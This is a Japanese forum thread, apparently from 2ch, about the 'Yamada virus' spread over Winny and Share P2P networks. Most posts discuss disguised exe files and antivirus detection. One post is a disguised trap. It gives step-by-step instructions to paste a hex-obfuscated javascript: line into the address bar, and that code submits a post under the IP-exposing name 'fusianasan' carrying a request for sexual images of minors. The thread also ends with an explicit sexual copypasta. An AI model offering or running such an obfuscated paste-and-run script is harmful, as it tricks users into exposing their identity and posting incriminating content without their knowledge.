人間にはうっかりが付き物だから危ないファイルを落としまくってる人はこれだけでは危ない。

しかもexeを直接実行しなくてもhtml等を開くとexeが起動したりすることもある。
exe以外にも危険な拡張子はたくさんあるしやっぱSSMの類は必須。

>>295
winrar

感染源って>>238の画像？

圧縮ファイルからexeなど
怪しいファイル消すだけならこっちが便利。

http://a-t-software.hp.infoseek.co.jp/apps/delexe/index.html

exeかよｗ　まだ踏む人いたんだ。　　例えばどれですか

>>323
ZIP解凍でフォルダアイコン型のexeが一つ出てくる。何にも知らない奴は迷わずダブルクリックですよ

>>324
拡張子表示する設定にしとけば防げるんでないの？

馬鹿はそんなこと知らない

>>325
アイコン変えてなければ踏む確率が高いと思うよ。そもそもexeが何かも分からない奴も多いだろう。

>>325
http://www.google.co.jp/search?sourceid=navclient&hl=ja&ie=UTF-8&rls=GGLD,GGLD:2005-04,GGLD:ja&q=%E6%8B%A1%E5%BC%B5%E5%AD%90%E8%A1%A8%E7%A4%BA
まぁｎｙやってて今時拡張子表示してない人居ないと思うが・・・

ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ



うはっｗｗｗおｋｗｗｗ？？

割れサイトに節穴トラップが張ってあった時代を思い出すな。。

>>330
フシアナで「○○よこせｺﾞﾙｧ！」とか書き込むトラップだったら知ってるかも。

まだやってんのか

ところで携帯で踏んでみたらどうなるんだ？

>>332
Windowsが載った携帯なんてあったか？

盛り上がりに欠けるウイルス

>>331
それそれ

私はゲルググで出るからララァも下痢ググってくれないか？

>>333
あるが高い

フシアナ

（準備）
2ch専用ブラウザを使用している人は、
ＩＥなどの一般的なブラウザでこのスレを開いておく。

１、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414745
2e76616c75653d275c75333045445c75333045415
c75373533425c75353043465c75333034465c75333036305c7533
3035355c7533303434273b7375626d69742e636c69636b28293b7
d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。

２、
改行を外して１行にする。

３、
１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。

４、
Enterを押す（もしくは「移動」をクリックする）。

exeファイル捨てたい

結局、exe実行以外の感染ルートはないのな？
安心安心ｗ

なんぼでもあるで

＞うはっｗｗｗおｋｗｗｗ？？

作者ってVIPPER？

まだこのスレあったのか

うはおｋはハルカ昔からある

乞食共必死ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

まだフシアナなんかでびびってる香具師がいるのか・・・

むしろ2chが全部強制IP表示でもいいと思うんだけどね

これで著作権違反も少しは無くなるといいんだがね･････

だからp2pは関係ないとあれほど・・・

運営論議は結構フルチンで書いてる人多いけど、トラブルは聞かないな。

IP抜かれたら何かあるの？

地下で王国の建造に携わるハメに陥る

仕事中に書き込みする香具師には困るんだろうｗ
それか回線切るだけでＩＤ変わるから自演を常習してる香具師

P2Pでウイルスを防ぐ方法を考えた
NYは開発停止してるから出来ないけど、Shareを起動するとすぐに
upフォルダにexeファイルがあるか確認させる機能をつければいい
あったら削除。拡張子かえるだけとかの偽装は無駄、
zipに入れてもその中の削除する。これだとアプリとか流せなくなるけど
別にアプリなんかいらんでしょ？個人撮影のエロ動画とかのためにp2pは必要だ

そらそうよ

>>352
それだとアプリ関係やらPCゲーム関連が流せなくなるだろ･･･

http://tmp4.2ch.net/test/read.cgi/download/1113141460/901

>>355
画像丸見えなんですけどｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

>>355
おおおお

これノートンもバスターもまだ対応してないんだ。　

★山田ウィルス対策スレ【ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ】
tp://qb5.2ch.net/test/read.cgi/sec2chd/1113229514/

いよいよ盛り上がって参りましたw

http://qb5.2ch.net/test/read.cgi/sec2chd/1113229514/

リンク貼るなら、ちゃんと書けよ

【ウィルス】ええけつしとるのぉ(*´Д`)ﾊｧﾊｧ
http://be.2ch.net/test/read.cgi/be/1113183003/

>>352
　 ,j;;;;;j,. ---一､ ｀ 　―--‐､_ l;;;;;;
　｛;;;;;;ゝ T辷iﾌ i 　 　f'辷jァ　 !i;;;;;　　　
　 ヾ;;;ﾊ　　　　ﾉ　　　　　　　.::!lﾘ;;rﾞ
　　 `Z;i　　　〈.,_..,.　　　　　　ﾉ;;;;;;;;>　　そんなふうに考えていた時期が
　 　,;ぇﾊ、　､_,.ｰ-､_',. 　 　,ｆﾞ: Y;;f.　　　俺には無かった。
　　 ~''戈ヽ 　 ｀二´ 　　 r'´:::.　`! 　　　　おまえバカだろ？

>>361
べの住人はアホばっかりかｗ

>>352
バカだな

age

WindowsUpdateをしましょう
http://news19.2ch.net/test/read.cgi/news/1113352588/

http://news18.2ch.net/test/read.cgi/mnewsplus/1113141968/368
ホントに感染するのかよぅ

>>363
べってなに？

>>368
be
http://be.2ch.net/be/

バスター対応したみたいね
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_MELLPON.A

山田ウイルスのリンクって
踏んだ先って何があるの？

運がいいと丸見えらしいよ

じゃなく
ウイルスへのリンク先

踏んだのがリンク切れになってたんだけどアウト？

あーあ

exe踏まなければ問題無いとおもうよ

>>375
サンクス


とりあえずexeとかは踏んでないからＯＫかな

けどフォルダアイコンに偽装してあるみたいだから
オンラインスキャンしてみては？

>>377
はい
一応スキャンしてます

やった！
見つかんなかったｗ

('A`)

age

?

　 ∧＿∧ 　 ∧＿∧ 　　　age
　（｀▽´∩）（∩｀▽´）　　　　age
　（つ　　丿 （ 　　⊂）　age
　 （　ヽノ　　 ヽ/　　）　　　age
　 し（＿）　　 （＿）Ｊ

あ、ウイルス踏んだんじゃなくてexeでウイルスにやられたやつの書き込みを踏んだだけかｗ

や、やあっ！お兄ちゃん、嫌っ！、（´・ω・｀)
よ、ようこそ……バーボ……バーボンハウ…っ！　ハウスへっ！　くっ！
このテキーラはサービスだ……から……いや、いやっ！　だめぇっ！
んっ！　んんっ！
ふぁふほんへほひふひてほひひ……んんんっ！
んんんんんーーーーっ！
けほっ！　けほっ！　ごほっ！
や、やっ！　そこは…そこはおま……おまたなのっ！　
仏の顔もって……言うし……謝って許してもらおうとも……
や、や、やぁあっ！　許して、それは許してぇっ！
ひぎぃっ！！！
で、でもぉっ！……このっ……んあああっ！　
スレ……すれてるっ！　こすれてるぅっ！　君は…ああああっ！
きっと言葉……んんああっ！　はぁあっ！　いやぁっ！　やぁっ！
と、ときめっ……き……みたいな…感じるぅっ！　感じちゃうっ！ 　
そういう……そう……気持ち……気持ちいいのっ！　お兄ちゃん！
気持ちいいのっ！　もっと！　もっと欲しいっ！お兄ちゃんの欲しい！
立てて！　もっと立ててぇっ！。
あああああー！！　なんでもするから注文を聞かせてぇっ！！！